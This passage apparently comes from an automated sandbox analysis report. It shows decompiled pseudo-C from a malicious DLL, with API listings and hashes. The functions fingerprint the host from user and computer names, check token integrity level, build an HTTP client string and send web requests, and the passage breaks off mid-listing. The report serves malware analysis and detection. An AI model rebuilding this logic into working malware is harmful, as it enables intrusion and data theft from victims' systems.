                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: File$ErrorLastTime$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
                    • String ID:
                    • API String ID: 1814172918-0
                    • Opcode ID: 6e12311903d8268238577bac6d292cc4767f9bf14d5e28c081ba658699715c9c
                    • Instruction ID: f0a484e5a2e5fd6be09146d606919d9b351be8ecbf219f2be5722c94e814fb0d
                    • Opcode Fuzzy Hash: 6e12311903d8268238577bac6d292cc4767f9bf14d5e28c081ba658699715c9c
                    • Instruction Fuzzy Hash: 8621C076640305BBC715FB65DC05F9E77AAAF8C750F250021FA16E6280DF70A9458F68
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 03183BD3 Relevance: 12.1, APIs: 8, Instructions: 103memoryCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 179 3183bd3-3183be7 180 3183be9-3183bee 179->180 181 3183bf1-3183c03 call 31871cd 179->181 180->181 184 3183c05-3183c15 GetUserNameW 181->184 185 3183c57-3183c64 181->185 186 3183c66-3183c7d GetComputerNameW 184->186 187 3183c17-3183c27 RtlAllocateHeap 184->187 185->186 189 3183cbb-3183cdf 186->189 190 3183c7f-3183c90 RtlAllocateHeap 186->190 187->186 188 3183c29-3183c36 GetUserNameW 187->188 191 3183c38-3183c44 call 31856b9 188->191 192 3183c46-3183c55 HeapFree 188->192 190->189 193 3183c92-3183c9b GetComputerNameW 190->193 191->192 192->186 195 3183cac-3183cb5 HeapFree 193->195 196 3183c9d-3183ca9 call 31856b9 193->196 195->189 196->195
                    C-Code - Quality: 96%
                    			E03183BD3(char __eax, void* __esi) {
				long _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v28;
				long _t34;
				signed int _t39;
				long _t50;
				char _t59;
				intOrPtr _t61;
				void* _t62;
				void* _t64;
				char _t65;
				intOrPtr* _t67;
				void* _t68;
				void* _t69;

				_t69 = __esi;
				_t65 = __eax;
				_v8 = 0;
				_v12 = __eax;
				if(__eax == 0) {
					_t59 =  *0x318a310; // 0xd448b889
					_v12 = _t59;
				}
				_t64 = _t69;
				E031871CD( &_v12, _t64);
				if(_t65 != 0) {
					 *_t69 =  *_t69 ^  *0x318a344 ^ 0x6c7261ae;
				} else {
					GetUserNameW(0,  &_v8); // executed
					_t50 = _v8;
					if(_t50 != 0) {
						_t62 = RtlAllocateHeap( *0x318a2d8, 0, _t50 + _t50);
						if(_t62 != 0) {
							if(GetUserNameW(_t62,  &_v8) != 0) {
								_t64 = _t62;
								 *_t69 =  *_t69 ^ E031856B9(_v8 + _v8, _t64);
							}
							HeapFree( *0x318a2d8, 0, _t62);
						}
					}
				}
				_t61 = __imp__;
				_v8 = _v8 & 0x00000000;
				GetComputerNameW(0,  &_v8);
				_t34 = _v8;
				if(_t34 != 0) {
					_t68 = RtlAllocateHeap( *0x318a2d8, 0, _t34 + _t34);
					if(_t68 != 0) {
						if(GetComputerNameW(_t68,  &_v8) != 0) {
							_t64 = _t68;
							 *(_t69 + 0xc) =  *(_t69 + 0xc) ^ E031856B9(_v8 + _v8, _t64);
						}
						HeapFree( *0x318a2d8, 0, _t68);
					}
				}
				asm("cpuid");
				_t67 =  &_v28;
				 *_t67 = 1;
				 *((intOrPtr*)(_t67 + 4)) = _t61;
				 *((intOrPtr*)(_t67 + 8)) = 0;
				 *(_t67 + 0xc) = _t64;
				_t39 = _v16 ^ _v20 ^ _v28;
				 *(_t69 + 4) =  *(_t69 + 4) ^ _t39;
				return _t39;
			}



















                    0x03183bd3
                    0x03183bdb
                    0x03183bdf
                    0x03183be2
                    0x03183be7
                    0x03183be9
                    0x03183bee
                    0x03183bee
                    0x03183bf4
                    0x03183bf6
                    0x03183c03
                    0x03183c64
                    0x03183c05
                    0x03183c0a
                    0x03183c10
                    0x03183c15
                    0x03183c23
                    0x03183c27
                    0x03183c36
                    0x03183c3d
                    0x03183c44
                    0x03183c44
                    0x03183c4f
                    0x03183c4f
                    0x03183c27
                    0x03183c15
                    0x03183c66
                    0x03183c6c
                    0x03183c76
                    0x03183c78
                    0x03183c7d
                    0x03183c8c
                    0x03183c90
                    0x03183c9b
                    0x03183ca2
                    0x03183ca9
                    0x03183ca9
                    0x03183cb5
                    0x03183cb5
                    0x03183c90
                    0x03183cc0
                    0x03183cc2
                    0x03183cc5
                    0x03183cc7
                    0x03183cca
                    0x03183ccd
                    0x03183cd7
                    0x03183cdb
                    0x03183cdf

                    APIs
                    • GetUserNameW.ADVAPI32(00000000,?), ref: 03183C0A
                    • RtlAllocateHeap.NTDLL(00000000,?), ref: 03183C21
                    • GetUserNameW.ADVAPI32(00000000,?), ref: 03183C2E
                    • HeapFree.KERNEL32(00000000,00000000), ref: 03183C4F
                    • GetComputerNameW.KERNEL32(00000000,00000000), ref: 03183C76
                    • RtlAllocateHeap.NTDLL(00000000,00000000), ref: 03183C8A
                    • GetComputerNameW.KERNEL32(00000000,00000000), ref: 03183C97
                    • HeapFree.KERNEL32(00000000,00000000), ref: 03183CB5
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: HeapName$AllocateComputerFreeUser
                    • String ID:
                    • API String ID: 3239747167-0
                    • Opcode ID: 737ea7bcf6a60922f0e9474708d35be8f51e8c291ddcbb9b247a5691941fa52f
                    • Instruction ID: 5872885b0438e32ae0b779b4a656f7f9fc4da10c85ec4e530306ff17cecc9143
                    • Opcode Fuzzy Hash: 737ea7bcf6a60922f0e9474708d35be8f51e8c291ddcbb9b247a5691941fa52f
                    • Instruction Fuzzy Hash: 8F315BB5A00209EFD714EFA8CC81A6EB7F9FF4C600F14446AE501D7214E730EA509F28
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 03184BE7 Relevance: 12.1, APIs: 8, Instructions: 75networkCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    C-Code - Quality: 93%
                    			E03184BE7(intOrPtr* __eax, void* __ebx, void* __ecx, void* __edi) {
				void* _t17;
				void* _t18;
				void* _t19;
				void* _t20;
				void* _t21;
				intOrPtr _t24;
				void* _t37;
				void* _t41;
				intOrPtr* _t45;

				_t41 = __edi;
				_t37 = __ebx;
				_t45 = __eax;
				_t16 =  *((intOrPtr*)(__eax + 0x20));
				if( *((intOrPtr*)(__eax + 0x20)) != 0) {
					E031816B2(_t16, __ecx, 0xea60);
				}
				_t17 =  *(_t45 + 0x18);
				_push(_t37);
				_push(_t41);
				if(_t17 != 0) {
					InternetSetStatusCallback(_t17, 0);
					InternetCloseHandle( *(_t45 + 0x18)); // executed
				}
				_t18 =  *(_t45 + 0x14);
				if(_t18 != 0) {
					InternetSetStatusCallback(_t18, 0);
					InternetCloseHandle( *(_t45 + 0x14));
				}
				_t19 =  *(_t45 + 0x10);
				if(_t19 != 0) {
					InternetSetStatusCallback(_t19, 0);
					InternetCloseHandle( *(_t45 + 0x10));
				}
				_t20 =  *(_t45 + 0x1c);
				if(_t20 != 0) {
					CloseHandle(_t20);
				}
				_t21 =  *(_t45 + 0x20);
				if(_t21 != 0) {
					CloseHandle(_t21);
				}
				_t22 =  *((intOrPtr*)(_t45 + 8));
				if( *((intOrPtr*)(_t45 + 8)) != 0) {
					E031861DA(_t22);
					 *((intOrPtr*)(_t45 + 8)) = 0;
					 *((intOrPtr*)(_t45 + 0x30)) = 0;
				}
				_t23 =  *((intOrPtr*)(_t45 + 0xc));
				if( *((intOrPtr*)(_t45 + 0xc)) != 0) {
					E031861DA(_t23);
				}
				_t24 =  *_t45;
				if(_t24 != 0) {
					_t24 = E031861DA(_t24);
				}
				_t46 =  *((intOrPtr*)(_t45 + 4));
				if( *((intOrPtr*)(_t45 + 4)) != 0) {
					return E031861DA(_t46);
				}
				return _t24;
			}












                    0x03184be7
                    0x03184be7
                    0x03184be9
                    0x03184beb
                    0x03184bf2
                    0x03184bf9
                    0x03184bf9
                    0x03184bfe
                    0x03184c01
                    0x03184c08
                    0x03184c11
                    0x03184c15
                    0x03184c1a
                    0x03184c1a
                    0x03184c1c
                    0x03184c21
                    0x03184c25
                    0x03184c2a
                    0x03184c2a
                    0x03184c2c
                    0x03184c31
                    0x03184c35
                    0x03184c3a
                    0x03184c3a
                    0x03184c3c
                    0x03184c47
                    0x03184c4a
                    0x03184c4a
                    0x03184c4c
                    0x03184c51
                    0x03184c54
                    0x03184c54
                    0x03184c56
                    0x03184c5d
                    0x03184c60
                    0x03184c65
                    0x03184c68
                    0x03184c68
                    0x03184c6b
                    0x03184c70
                    0x03184c73
                    0x03184c73
                    0x03184c78
                    0x03184c7c
                    0x03184c7f
                    0x03184c7f
                    0x03184c84
                    0x03184c89
                    0x00000000
                    0x03184c8c
                    0x03184c93

                    APIs
                    • InternetSetStatusCallback.WININET(?,00000000), ref: 03184C15
                    • InternetCloseHandle.WININET(?), ref: 03184C1A
                    • InternetSetStatusCallback.WININET(?,00000000), ref: 03184C25
                    • InternetCloseHandle.WININET(?), ref: 03184C2A
                    • InternetSetStatusCallback.WININET(?,00000000), ref: 03184C35
                    • InternetCloseHandle.WININET(?), ref: 03184C3A
                    • CloseHandle.KERNEL32(?,00000000,00000102,?,?,03182248,?,?,74CF81D0,00000000,00000000), ref: 03184C4A
                    • CloseHandle.KERNEL32(?,00000000,00000102,?,?,03182248,?,?,74CF81D0,00000000,00000000), ref: 03184C54
                      • Part of subcall function 031816B2: WaitForMultipleObjects.KERNEL32(00000002,03187C47,00000000,03187C47,?,?,?,03187C47,0000EA60), ref: 031816CD
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: Internet$CloseHandle$CallbackStatus$MultipleObjectsWait
                    • String ID:
                    • API String ID: 2824497044-0
                    • Opcode ID: caaa88083085aa6e2e94566acf27069174784c7c9043e64984ab867c64ffa5ae
                    • Instruction ID: 14f4118931a9d57ab1a40487e551166abce1f4b5641d055a9c461f1635b5cebf
                    • Opcode Fuzzy Hash: caaa88083085aa6e2e94566acf27069174784c7c9043e64984ab867c64ffa5ae
                    • Instruction Fuzzy Hash: AF11297A6007596BC630FFAADD84C1BF7EDBF582003590D19E189D3611CF24F8858E68
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 03185E40 Relevance: 10.6, APIs: 7, Instructions: 75COMMON
                    Download Yara Rule

                    Control-flow Graph

                    C-Code - Quality: 100%
                    			E03185E40(long* _a4) {
				long _v8;
				void* _v12;
				void _v16;
				long _v20;
				int _t33;
				void* _t46;

				_v16 = 1;
				_v20 = 0x2000;
				if( *0x318a2fc > 5) {
					_v16 = 0;
					if(OpenProcessToken(0xffffffff, 0x20008,  &_v12) != 0) {
						GetTokenInformation(_v12, 0x14,  &_v16, 4,  &_v8); // executed
						_v8 = 0;
						GetTokenInformation(_v12, 0x19, 0, 0,  &_v8); // executed
						if(_v8 != 0) {
							_t46 = E031833DC(_v8);
							if(_t46 != 0) {
								_t33 = GetTokenInformation(_v12, 0x19, _t46, _v8,  &_v8); // executed
								if(_t33 != 0) {
									_v20 =  *(GetSidSubAuthority( *_t46,  *(GetSidSubAuthorityCount( *_t46)) - 0x00000001 & 0x000000ff));
								}
								E031861DA(_t46);
							}
						}
						CloseHandle(_v12);
					}
				}
				 *_a4 = _v20;
				return _v16;
			}









                    0x03185e4d
                    0x03185e54
                    0x03185e5b
                    0x03185e6f
                    0x03185e7a
                    0x03185e92
                    0x03185e9f
                    0x03185ea2
                    0x03185ea7
                    0x03185eb2
                    0x03185eb6
                    0x03185ec5
                    0x03185ec9
                    0x03185ee5
                    0x03185ee5
                    0x03185ee9
                    0x03185ee9
                    0x03185eee
                    0x03185ef2
                    0x03185ef8
                    0x03185ef9
                    0x03185f00
                    0x03185f06

                    APIs
                    • OpenProcessToken.ADVAPI32(000000FF,00020008,00000000,00000000), ref: 03185E72
                    • GetTokenInformation.KERNELBASE(00000000,00000014(TokenIntegrityLevel),00000001,00000004,?,00000000), ref: 03185E92
                    • GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,?), ref: 03185EA2
                    • CloseHandle.KERNEL32(00000000), ref: 03185EF2
                      • Part of subcall function 031833DC: RtlAllocateHeap.NTDLL(00000000,00000000,031862F6), ref: 031833E8
                    • GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,?,?,?,?), ref: 03185EC5
                    • GetSidSubAuthorityCount.ADVAPI32(00000000), ref: 03185ECD
                    • GetSidSubAuthority.ADVAPI32(00000000,?), ref: 03185EDD
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: Token$Information$Authority$AllocateCloseCountHandleHeapOpenProcess
                    • String ID:
                    • API String ID: 1295030180-0
                    • Opcode ID: e55572c1ce4ddbb147e7db1e596962d5ffc194864ae945deb333dc79612b0c6b
                    • Instruction ID: 64236b6c7b833dd6f011702c1e817828f11cb8b9e52f90cd7cd15aedbb3082cb
                    • Opcode Fuzzy Hash: e55572c1ce4ddbb147e7db1e596962d5ffc194864ae945deb333dc79612b0c6b
                    • Instruction Fuzzy Hash: 17215C75900209FFEB10EF90CC44EEEBB7AEF49304F1400A6E910A6151CB718A55EF68
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 03186675 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 68stringCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    C-Code - Quality: 64%
                    			E03186675(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _t9;
				intOrPtr _t13;
				char* _t19;
				char* _t28;
				void* _t33;
				void* _t34;
				char* _t36;
				void* _t38;
				intOrPtr* _t39;
				char* _t40;
				char* _t42;
				char* _t43;

				_t34 = __edx;
				_push(__ecx);
				_t9 =  *0x318a348; // 0x263d5a8
				_t1 = _t9 + 0x318b516; // 0x253d7325
				_t36 = 0;
				_t28 = E03185815(__ecx, _t1);
				if(_t28 != 0) {
					_t39 = __imp__;
					_t13 =  *_t39(_t28, _t38);
					_v8 = _t13;
					_t6 =  *_t39(_a4) + 1; // 0x57c9601
					_t40 = E031833DC(_v8 + _t6);
					if(_t40 != 0) {
						strcpy(_t40, _t28);
						_pop(_t33);
						__imp__(_t40, _a4);
						_t19 = E03185063(_t33, _t34, _t40, _a8); // executed
						_t36 = _t19;
						E031861DA(_t40);
						_t42 = E03184AC7(StrTrimA(_t36, "="), _t36);
						if(_t42 != 0) {
							E031861DA(_t36);
							_t36 = _t42;
						}
						_t43 = E03182708(_t36, _t33);
						if(_t43 != 0) {
							E031861DA(_t36);
							_t36 = _t43;
						}
					}
					E031861DA(_t28);
				}
				return _t36;
			}
















                    0x03186675
                    0x03186678
                    0x03186679
                    0x03186680
                    0x03186687
                    0x0318668e
                    0x03186692
                    0x03186699
                    0x031866a0
                    0x031866a5
                    0x031866ad
                    0x031866b7
                    0x031866bb
                    0x031866bf
                    0x031866c5
                    0x031866ca
                    0x031866d4
                    0x031866da
                    0x031866dc
                    0x031866f3
                    0x031866f7
                    0x031866fa
                    0x031866ff
                    0x031866ff
                    0x03186708
                    0x0318670c
                    0x0318670f
                    0x03186714
                    0x03186714
                    0x0318670c
                    0x03186717
                    0x0318671c
                    0x03186722

                    APIs
                      • Part of subcall function 03185815: lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,0318668E,253D7325,00000000,00000000,?,7491C740,03183ECE), ref: 0318587C
                      • Part of subcall function 03185815: sprintf.NTDLL ref: 0318589D
                    • lstrlen.KERNEL32(00000000,00000000,253D7325,00000000,00000000,?,7491C740,03183ECE,00000000,057C9600), ref: 031866A0
                    • lstrlen.KERNEL32(00000000,?,7491C740,03183ECE,00000000,057C9600), ref: 031866A8
                      • Part of subcall function 031833DC: RtlAllocateHeap.NTDLL(00000000,00000000,031862F6), ref: 031833E8
                    • strcpy.NTDLL ref: 031866BF
                    • lstrcat.KERNEL32(00000000,00000000), ref: 031866CA
                      • Part of subcall function 03185063: lstrlen.KERNEL32(00000000,00000000,03183ECE,00000000,?,031866D9,00000000,03183ECE,?,7491C740,03183ECE,00000000,057C9600), ref: 03185074
                      • Part of subcall function 031861DA: RtlFreeHeap.NTDLL(00000000,00000000,03186383,00000000,?,00000000,00000000), ref: 031861E6
                    • StrTrimA.SHLWAPI(00000000,=,00000000,00000000,03183ECE,?,7491C740,03183ECE,00000000,057C9600), ref: 031866E7
                      • Part of subcall function 03184AC7: lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,031866F3,00000000,?,7491C740,03183ECE,00000000,057C9600), ref: 03184AD1
                      • Part of subcall function 03184AC7: _snprintf.NTDLL ref: 03184B2F
                    Strings
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: lstrlen$Heap$AllocateFreeTrim_snprintflstrcatsprintfstrcpy
                    • String ID: =
                    • API String ID: 2864389247-1428090586
                    • Opcode ID: a54914de0289c427f6e9906b8c494a9013a792a03efef771ec0ed2ee9ce4407a
                    • Instruction ID: e99c3e461a84457216c9148b194c184865a7c1623727b8f64dc0e024b9b50111
                    • Opcode Fuzzy Hash: a54914de0289c427f6e9906b8c494a9013a792a03efef771ec0ed2ee9ce4407a
                    • Instruction Fuzzy Hash: 3911A33B901725AB8612FB789C84CAE36AE9F8D6543194016FA04AF102DF34D9025FED
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 031851D8 Relevance: 9.0, APIs: 6, Instructions: 45networkCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 279 31851d8-31851e7 280 31851e9-31851f9 call 3182058 279->280 281 31851fb-31851ff call 3187b83 279->281 280->281 286 318524a GetLastError 280->286 285 3185204-3185206 281->285 287 3185208-318522d ResetEvent * 2 HttpSendRequestA 285->287 288 3185245-3185248 285->288 289 318524c-318524e 286->289 290 318523a-318523d SetEvent 287->290 291 318522f-3185236 GetLastError 287->291 288->286 288->289 293 3185243 290->293 291->288 292 3185238 291->292 292->293 293->288
                    C-Code - Quality: 100%
                    			E031851D8(void* __eax, intOrPtr _a4, intOrPtr _a8) {
				void* __esi;
				long _t10;
				void* _t18;
				void* _t22;

				_t9 = __eax;
				_t22 = __eax;
				if(_a4 != 0 && E03182058(__eax + 4, _t18, _a4, __eax, __eax + 4) == 0) {
					L9:
					return GetLastError();
				}
				_t10 = E03187B83(_t9, _t18, _t22, _a8); // executed
				if(_t10 == 0) {
					ResetEvent( *(_t22 + 0x1c));
					ResetEvent( *(_t22 + 0x20));
					if(HttpSendRequestA( *(_t22 + 0x18), 0, 0xffffffff, 0, 0) != 0) {
						SetEvent( *(_t22 + 0x1c));
						goto L7;
					} else {
						_t10 = GetLastError();
						if(_t10 == 0x3e5) {
							L7:
							_t10 = 0;
						}
					}
				}
				if(_t10 == 0xffffffff) {
					goto L9;
				}
				return _t10;
			}







                    0x031851d8
                    0x031851e5
                    0x031851e7
                    0x0318524a
                    0x00000000
                    0x0318524a
                    0x031851ff
                    0x03185206
                    0x03185212
                    0x03185217
                    0x0318522d
                    0x0318523d
                    0x00000000
                    0x0318522f
                    0x0318522f
                    0x03185236
                    0x03185243
                    0x03185243
                    0x03185243
                    0x03185236
                    0x0318522d
                    0x03185248
                    0x00000000
                    0x00000000
                    0x0318524e

                    APIs
                    • ResetEvent.KERNEL32(?,00000008,?,?,00000102,031821E7,?,?,74CF81D0,00000000), ref: 03185212
                    • ResetEvent.KERNEL32(?), ref: 03185217
                    • HttpSendRequestA.WININET(?,00000000,000000FF,00000000,00000000), ref: 03185224
                    • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,03183F34,00000000,?,?), ref: 0318522F
                    • GetLastError.KERNEL32(?,?,00000102,031821E7,?,?,74CF81D0,00000000), ref: 0318524A
                      • Part of subcall function 03182058: lstrlen.KERNEL32(00000000,00000008,?,74CB4D40,?,?,031851F7,?,?,?,?,00000102,031821E7,?,?,74CF81D0), ref: 03182064
                      • Part of subcall function 03182058: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,031851F7,?,?,?,?,00000102,031821E7,?), ref: 031820C2
                      • Part of subcall function 03182058: lstrcpy.KERNEL32(00000000,00000000), ref: 031820D2
                    • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,03183F34,00000000,?), ref: 0318523D
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: Event$ErrorLastReset$HttpRequestSendlstrcpylstrlenmemcpy
                    • String ID:
                    • API String ID: 3739416942-0
                    • Opcode ID: b4bb93ce8ce6cfdf41b9db1b063661ace877e5d1458c0b9a4708b820bd5e58bf
                    • Instruction ID: 6632255ab08350a4eb1bea14b33926f8e0919cd235e02474d0a9c6d1acf49a77
                    • Opcode Fuzzy Hash: b4bb93ce8ce6cfdf41b9db1b063661ace877e5d1458c0b9a4708b820bd5e58bf
                    • Instruction Fuzzy Hash: 5D012831100200ABD631BB65DC84F6BBABBEF4E765F280A25F595E10E0DB21A4559A28
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 03182523 Relevance: 7.7, APIs: 5, Instructions: 161memoryCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 294 3182523-318253d call 3184520 297 318253f-318254d 294->297 298 3182553-3182561 294->298 297->298 300 3182573-318258e call 3183037 298->300 301 3182563-3182566 298->301 307 3182598 300->307 308 3182590-3182596 300->308 301->300 302 3182568-318256d 301->302 302->300 304 3182700 302->304 306 3182702-3182707 304->306 309 318259e-31825b3 call 3184332 call 318415a 307->309 308->309 314 31825be-31825c4 309->314 315 31825b5-31825b8 CloseHandle 309->315 316 31825ea-318260c call 31827a0 call 31833dc 314->316 317 31825c6-31825cb 314->317 315->314 330 3182638-318263a 316->330 331 318260e-3182636 memset RtlInitializeCriticalSection 316->331 318 31826eb-31826f0 317->318 319 31825d1 317->319 322 31826f8-31826fe 318->322 323 31826f2-31826f6 318->323 321 31825d4-31825e3 call 31823c4 319->321 332 31825e5 321->332 322->306 323->306 323->322 333 318263b-318263f 330->333 331->333 332->318 333->318 334 3182645-318265b RtlAllocateHeap 333->334 335 318268b-318268d 334->335 336 318265d-3182689 wsprintfA 334->336 337 318268e-3182692 335->337 336->337 337->318 338 3182694-31826b4 call 3183bd3 call 3181d8a 337->338 338->318 343 31826b6-31826bd call 3186ea3 338->343 346 31826bf-31826c2 343->346 347 31826c4-31826cb 343->347 346->318 348 31826cd-31826cf 347->348 349 31826e0-31826e4 call 3186815 347->349 348->318 350 31826d1-31826de call 3185c31 348->350 353 31826e9 349->353 350->318 350->349 353->318
                    C-Code - Quality: 59%
                    			E03182523(signed int __edx) {
				signed int _v8;
				long _v12;
				CHAR* _v16;
				long _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t21;
				CHAR* _t22;
				CHAR* _t25;
				intOrPtr _t26;
				void* _t27;
				void* _t31;
				intOrPtr _t32;
				void* _t33;
				CHAR* _t37;
				CHAR* _t44;
				CHAR* _t45;
				void* _t50;
				void* _t52;
				signed char _t57;
				intOrPtr _t59;
				signed int _t60;
				void* _t64;
				CHAR* _t68;
				CHAR* _t69;
				char* _t70;
				void* _t71;

				_t62 = __edx;
				_v20 = 0;
				_v8 = 0;
				_v12 = 0;
				_t21 = E03184520();
				if(_t21 != 0) {
					_t60 =  *0x318a2fc; // 0x4000000a
					_t56 = (_t60 & 0xf0000000) + _t21;
					 *0x318a2fc = (_t60 & 0xf0000000) + _t21;
				}
				_t22 =  *0x318a178(0, 2); // executed
				_v16 = _t22;
				if(_t22 == 0 || _t22 == 1 || _t22 == 0x80010106) {
					_t25 = E03183037( &_v8,  &_v20); // executed
					_t55 = _t25;
					_t26 =  *0x318a348; // 0x263d5a8
					if( *0x318a2fc > 5) {
						_t8 = _t26 + 0x318b51d; // 0x4d283a53
						_t27 = _t8;
					} else {
						_t7 = _t26 + 0x318b9db; // 0x44283a44
						_t27 = _t7;
					}
					E03184332(_t27, _t27);
					_t31 = E0318415A(_t62,  &_v20,  &_v12); // executed
					if(_t31 == 0) {
						CloseHandle(_v20);
					}
					_t64 = 5;
					if(_t55 != _t64) {
						_t32 = E031827A0();
						 *0x318a310 =  *0x318a310 ^ 0x81bbe65d;
						 *0x318a36c = _t32;
						_t33 = E031833DC(0x60);
						 *0x318a3cc = _t33;
						__eflags = _t33;
						if(_t33 == 0) {
							_push(8);
							_pop(0);
						} else {
							memset(_t33, 0, 0x60);
							_t50 =  *0x318a3cc; // 0x57c9600
							_t71 = _t71 + 0xc;
							__imp__(_t50 + 0x40);
							_t52 =  *0x318a3cc; // 0x57c9600
							 *_t52 = 0x318b142;
						}
						_t55 = 0;
						__eflags = 0;
						if(0 == 0) {
							_t37 = RtlAllocateHeap( *0x318a2d8, 0, 0x43);
							 *0x318a368 = _t37;
							__eflags = _t37;
							if(_t37 == 0) {
								_push(8);
								_pop(0);
							} else {
								_t57 =  *0x318a2fc; // 0x4000000a
								_t62 = _t57 & 0x000000ff;
								_t59 =  *0x318a348; // 0x263d5a8
								_t13 = _t59 + 0x318b74a; // 0x697a6f4d
								_t56 = _t13;
								wsprintfA(_t37, _t13, _t57 & 0x000000ff, _t57 & 0x000000ff, 0x318927b);
							}
							_t55 = 0;
							__eflags = 0;
							if(0 == 0) {
								asm("sbb eax, eax");
								E03183BD3( ~_v8 &  *0x318a310,  &E0318A00C); // executed
								_t55 = E03181D8A(0, _t56, _t62, _t64,  &E0318A00C);
								__eflags = _t55;
								if(_t55 != 0) {
									goto L30;
								}
								_t44 = E03186EA3(_t62);
								__eflags = _t44;
								if(_t44 != 0) {
									__eflags = _v8;
									_t68 = _v12;
									if(_v8 != 0) {
										L29:
										_t45 = E03186815(_t62, _t68, _v8); // executed
										_t55 = _t45;
										goto L30;
									}
									__eflags = _t68;
									if(__eflags == 0) {
										goto L30;
									}
									_t55 = E03185C31(__eflags,  &(_t68[4]));
									__eflags = _t55;
									if(_t55 == 0) {
										goto L30;
									}
									goto L29;
								}
								_t55 = 8;
							}
						}
					} else {
						_t69 = _v12;
						if(_t69 == 0) {
							L30:
							if(_v16 == 0 || _v16 == 1) {
								 *0x318a17c();
							}
							goto L34;
						}
						_t70 =  &(_t69[4]);
						do {
						} while (E031823C4(_t64, _t70, 0, 1) == 0x4c7);
					}
					goto L30;
				} else {
					_t55 = _t22;
					L34:
					return _t55;
				}
			}































                    0x03182523
                    0x0318252d
                    0x03182530
                    0x03182533
                    0x03182536
                    0x0318253d
                    0x0318253f
                    0x0318254b
